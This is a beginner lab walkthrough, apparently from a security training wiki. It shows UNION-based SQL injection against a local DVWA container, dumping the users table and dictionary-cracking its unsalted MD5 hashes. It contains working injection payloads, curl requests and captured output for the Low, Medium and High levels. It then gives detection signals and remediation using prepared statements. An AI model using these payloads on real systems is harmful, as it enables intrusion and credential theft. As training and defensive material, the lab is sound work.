Extract the entire user table — usernames and unsalted password hashes — from DVWA through a single URL parameter using a UNION SELECT, then crack the hashes and repeat the finding at higher security levels.
[!warning] Authorized use only Run this only against the disposable target described below, on an isolated host. Bind the container to 127.0.0.1 — these applications are deliberately vulnerable, and several ship with known-weak credentials.
Module: Injection · Target: DVWA v1.10 (vulnerables/web-dvwa) · Difficulty: Beginner · Time: ~45 min · OWASP: A03:2021
Turn a single reflected database lookup into a full table dump. You will confirm that the id
parameter on DVWA's SQL Injection page is concatenated into a query, determine that the query
returns exactly two columns, append a UNION SELECT that borrows those two columns to carry
user and password out of the users table, and finish holding six username/hash pairs that the
page was never designed to show you. You will then recover the plaintext passwords from those
hashes and repeat the attack against DVWA's Medium and High implementations to see which defences
actually change the outcome.
Knowledge:
- Basic SQL —
SELECT,UNION,ORDER BY, and how a comment terminates a statement. - The difference between a query's structure and its data; see [[SQL-Injection(SQLi)]].
- How a session cookie authenticates later requests, from [[Cookies]].
Tooling:
- Docker,
curl, andpython3. Everything below was produced with those three. - Not required: sqlmap and Burp Suite. Neither was installed on the host that produced this transcript, and neither is needed — the whole attack is four URLs. Automate it later with [[Sqlmap]] or [[Ghauri]] once you can do it by hand; a scanner that finds this for you teaches you nothing about why the payload has two columns.
Check the port before you bind. On the host that produced this transcript port 8080 was already occupied, so DVWA was bound to 8081, and every request below reflects that:
ss -tlnp | grep -E ':(8080|8081)\b' || echo 'both free'Start the target, bound to loopback only:
docker run -d --name dvwa -p 127.0.0.1:8081:80 vulnerables/web-dvwaBrowse to http://127.0.0.1:8081/setup.php and click Create / Reset Database. Then log in at
http://127.0.0.1:8081/login.php with admin / password, and set DVWA Security to Low on
http://127.0.0.1:8081/security.php.
Every page requires the PHPSESSID cookie, and every POST form carries a user_token anti-CSRF
value that must be scraped from the page that renders the form. To drive the setup from the shell
instead of the browser, note that DVWA's tokenField() emits the token with single quotes:
function tokenField() { # Return a field for the (CSRF) token
return "<input type='hidden' name='user_token' value='{$_SESSION[ 'session_token' ]}' />";
}so the scrape looks like this:
cd /tmp && rm -f dvwa.jar
# Authenticate, scraping the login form's user_token first.
TOKEN=$(curl -s -c dvwa.jar http://127.0.0.1:8081/login.php \
| grep -oP "name='user_token' value='\K[0-9a-f]{32}")
curl -s -b dvwa.jar -c dvwa.jar -o /dev/null \
-d "username=admin&password=password&Login=Login&user_token=${TOKEN}" \
http://127.0.0.1:8081/login.php
# Set the security level to Low, scraping that form's own token.
STOKEN=$(curl -s -b dvwa.jar -c dvwa.jar http://127.0.0.1:8081/security.php \
| grep -oP "name='user_token' value='\K[0-9a-f]{32}")
curl -s -b dvwa.jar -c dvwa.jar -o /dev/null \
-d "security=low&seclev_submit=Submit&user_token=${STOKEN}" \
http://127.0.0.1:8081/security.phpVerify before attacking — an unverified target produces false negatives you will blame on your payload:
grep -E 'PHPSESSID|security' dvwa.jar
curl -s -b dvwa.jar 'http://127.0.0.1:8081/vulnerabilities/sqli/?id=1&Submit=Submit' \
| grep -o 'First name: [A-Za-z]*'Submit a legitimate value and learn what "normal" looks like:
GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: 127.0.0.1:8081
Cookie: PHPSESSID=<your session>; security=lowOne record comes back — a first name and a surname. That shape is the whole lab: two fields, which
means two columns, which means your UNION must supply exactly two.
Append a single apostrophe. If id is concatenated rather than bound, the quote unbalances the
statement and MySQL raises a syntax error that DVWA prints, because the query is wrapped in
or die( '<pre>' . mysqli_error(...) . '</pre>' ):
GET /vulnerabilities/sqli/?id=1'&Submit=Submit HTTP/1.1
Host: 127.0.0.1:8081
Cookie: PHPSESSID=<your session>; security=low[!note] Illustrative, not captured The exact error string depends on your MySQL/MariaDB build and is not part of the verified transcript for this lab. Expect a
You have an error in your SQL syntaxmessage naming the fragment near''1'''. Confirm the wording against your own instance rather than quoting this note in a report.
An error here confirms an injection point. No error does not mean no injection — it may just mean errors are suppressed, which is what [[Blind-SQL-Injection]] exists for.
UNION requires both sides of the union to have the same number of columns. Walk ORDER BY upward
until the ordinal exceeds the column count and the query errors: 1' ORDER BY 1# and
1' ORDER BY 2# succeed, 1' ORDER BY 3# fails. Two columns.
You do not have to guess, because DVWA ships its own source. The Low implementation is:
$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";Two selected columns, first_name and last_name, and $id pasted straight between two
apostrophes. That single line is the entire vulnerability.
Break out of the quoted context with 1', union in two columns of your own, and comment away the
trailing '; with #:
1' UNION SELECT user, password FROM users#
URL-encoded and sent:
curl -s -b /tmp/dvwa.jar -G \
--data-urlencode "id=1' UNION SELECT user, password FROM users#" \
--data-urlencode "Submit=Submit" \
'http://127.0.0.1:8081/vulnerabilities/sqli/'GET /vulnerabilities/sqli/?id=1%27%20UNION%20SELECT%20user%2C%20password%20FROM%20users%23&Submit=Submit HTTP/1.1
Host: 127.0.0.1:8081
Cookie: PHPSESSID=<your session>; security=lowThe captured response, verbatim:
ID: 1' UNION SELECT user, password FROM users# First name: admin Surname: admin
ID: 1' UNION SELECT user, password FROM users# First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' UNION SELECT user, password FROM users# First name: gordonb Surname: e99a18c428cb38d5f260853678922e03
ID: 1' UNION SELECT user, password FROM users# First name: 1337 Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' UNION SELECT user, password FROM users# First name: pablo Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' UNION SELECT user, password FROM users# First name: smithy Surname: 5f4dcc3b5aa765d61d8327deb882cf99
The first row is the legitimate user_id = '1' record. The five that follow are the injected
UNION results, printed through the same template. The echoed ID: field is your own payload
reflected back — the source interpolates {$id} into the output — which usefully confirms you are
reading injected rows and not a coincidence.
The page's markup is generated once and reused for every row:
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";$first and $last are read from the result set by name. Your UNION supplies user first and
password second, so user lands in the "First name" slot and the hash in "Surname". The labels
lie; the positions do not. That is the general lesson of UNION extraction: you are not choosing
where data appears, you are choosing which of the application's existing output slots to hijack.
When two columns are not enough, pack several values into one with concat(user,0x3a,password).
The stored values are unsalted MD5 — 32 hex characters, no cost parameter, no per-user salt. That means an attacker does not need to break the hash function; they need a dictionary. Confirm the recovered plaintexts:
import hashlib
captured = {
"5f4dcc3b5aa765d61d8327deb882cf99": None,
"e99a18c428cb38d5f260853678922e03": None,
"8d3533d75ae2c3966d7e0d4fcc69216b": None,
"0d107d09f5bbe40cade3de5c71e9e9b7": None,
}
for candidate in ["password", "abc123", "letmein", "charley"]:
digest = hashlib.md5(candidate.encode()).hexdigest()
if digest in captured:
captured[digest] = candidate
for digest, plaintext in captured.items():
print(digest, "=", plaintext)5f4dcc3b5aa765d61d8327deb882cf99 = password
e99a18c428cb38d5f260853678922e03 = abc123
8d3533d75ae2c3966d7e0d4fcc69216b = charley
0d107d09f5bbe40cade3de5c71e9e9b7 = letmein
Four hashes, four words, no cracking rig. Notice that admin and smithy share
5f4dcc3b5aa765d61d8327deb882cf99 — identical hashes prove identical passwords, exactly the leak a
per-user salt prevents. For the offline-cracking workflow proper, see
[[Authentication-Testing/Offline-Password-Cracking|Offline Password Cracking]].
Set DVWA Security to Medium and re-run. The page now submits a dropdown by POST, and the source changes to:
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";Two things changed, and only one of them matters. The escaping neutralises your apostrophe — but
look at the query: $id is no longer quoted. In a numeric context you never needed a quote:
1 UNION SELECT user, password FROM users#
Also notice the input moved from a text box to a <select>. That is a client-side constraint with
no server-side counterpart; the value still arrives in a POST body you control, so re-send it with
curl and the dropdown is irrelevant. Treat every "the UI doesn't allow that" claim as a
hypothesis to test.
High moves the identifier out of the request entirely:
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";The value is set on a separate page and stashed in the session, then read back here. The
concatenation bug is untouched — the input just arrives by a longer route, so the injection point
is the session-setting request, not this one. LIMIT 1 is the only real speed bump, and it is
defeated by appending your own limit and offset, or by using
concat() to pack the whole table into the single row you are allowed. High is a lesson in
indirection, not a fix.
[!success] Proof of exploitation Six
ID: … First name: … Surname: …blocks are rendered where the application returns one. Five of them carry values from theuserstable that the query was never meant to expose: the usernamesadmin,gordonb,1337,pablo,smithyand their 32-character MD5 password hashes — including5f4dcc3b5aa765d61d8327deb882cf99, which resolves topasswordand appears twice, proving two accounts share a credential.
| Source | Signal |
|---|---|
| Apache/Nginx access log | The Low-level attack is a GET, so the full payload is logged in the request line: GET /vulnerabilities/sqli/?id=1%27%20UNION%20SELECT%20user%2C%20password%20FROM%20users%23. UNION, SELECT, %27 and ORDER BY in a query string are high-signal indicators. |
| Application error log | The step-2 and step-3 probes generate MySQL syntax errors. A burst of syntax errors from one client, on one parameter, in a few seconds is reconnaissance, not user error. |
| Database query log | The final statement is logged in full — SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT user, password FROM users#'. A query against users.password originating from a page that displays names is anomalous by construction. |
| Response size | The successful dump returns roughly six times the normal body length for the same endpoint. Sudden response-size outliers on a fixed-shape page are a cheap, payload-agnostic detection. |
What a defender would not see: at Medium the parameter moves into a POST body, which standard access logs do not record. Detection built solely on URL inspection goes blind the moment the application switches verbs — one of the more common gaps in real monitoring. See [[Login-Logging]] for what to instrument instead.
The fix is not escaping and not a blocklist. It is refusing to let user input become query
structure. DVWA's own impossible.php shows it:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();The statement is compiled before $id exists, so $id can only ever be a value. Note what else
that file does: is_numeric($id) validates the type, PDO::PARAM_INT binds it as an integer,
LIMIT 1 bounds the result, and the whole action is gated behind an anti-CSRF token.
In priority order:
- Parameterised queries everywhere. Prepared statements with bound parameters, with no exceptions carved out for "internal" or "trusted" values — see [[Second-Order-SQL-Injection]] for what happens to values trusted because they came from the database.
- Allow-list anything that cannot be bound. Table and column names and
ORDER BYdirections cannot be parameterised; map user input to a fixed set of permitted literals instead. - Least privilege on the database account. The web user should not be able to read the password column of the authentication table if the page only renders names.
- Store passwords with a modern, salted, deliberately slow KDF — bcrypt, scrypt or Argon2id. Then a full table dump yields hashes that are expensive rather than a wordlist away.
- Suppress database errors in production. Verbose errors turned step 2 into a one-request confirmation.
Escaping via mysqli_real_escape_string is explicitly not on this list as a primary control:
Medium demonstrated that it is worthless the moment the value is used unquoted.
docker rm -f dvwa
rm -f /tmp/dvwa.jarIf you re-use the container for another lab, reset the seeded data from /setup.php with
Create / Reset Database — step 7 changes no data, but other DVWA labs write to the same
users table and a poisoned baseline makes the next lab's output confusing.
| Symptom | Cause | Fix |
|---|---|---|
docker: Bind for 127.0.0.1:8080 failed: port is already allocated |
Another service holds 8080 | Bind 8081 as shown; re-run the ss -tlnp check first |
| Every request returns the login page | No PHPSESSID, or the login POST omitted user_token |
Re-run the setup block; the token must come from the same response that set the cookie jar |
Create / Reset Database fails |
MySQL inside the container is still starting | Wait ~15 s after docker run and reload /setup.php |
| Payload reflected but no extra rows | Security level is not Low, or # was consumed as a URL fragment |
Confirm security=low in the jar and URL-encode # as %23 — use --data-urlencode |
different number of columns error |
Column count wrong | Re-run the ORDER BY walk; the Low query selects exactly two |
| Medium level rejects the payload | You kept the apostrophe | $id is unquoted at Medium — drop the quote |
- DVWA — digininja/DVWA — upstream project and per-level source for each vulnerability.
- OWASP SQL Injection Prevention Cheat Sheet — the parameterisation-first hierarchy used in the remediation section.
- OWASP Web Security Testing Guide — Testing for SQL Injection — the methodology this walkthrough follows.
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command — the weakness class.
- CWE-916: Use of Password Hash With Insufficient Computational Effort — why the recovered MD5 hashes were a one-line problem.
- PHP Manual — PDO prepared statements — the API used in the fixed code.
- [[SQL-Injection(SQLi)]] — the technique note this lab puts into practice.
- [[Types-of--SQL-Injections(SQLi)]] — where UNION-based extraction sits among the injection variants.
- [[Using-information_schema-for-SQL-Injection]] — how to discover table and column names when you cannot read the source as you did here.
- [[Blind-SQL-Injection]] — the path forward when errors are suppressed and nothing is reflected.
- [[Different-forms-of-building-SQL-queries]] — why the Medium level's unquoted numeric context defeated its own escaping.
- [[Second-Order-SQL-Injection]] — the High level's session indirection taken to its logical conclusion.
- [[Authentication-Testing/Offline-Password-Cracking|Offline Password Cracking]] — turning the dumped hashes into credentials at scale.
- [[Sqlmap]] — automating this exact attack once you can perform it by hand.
- DVWA-Lab-Setup — alternative build instructions if you prefer a source install to the container.
- [[Lab-DVWA-Command-Injection]] — the same application, the same root cause, a different interpreter.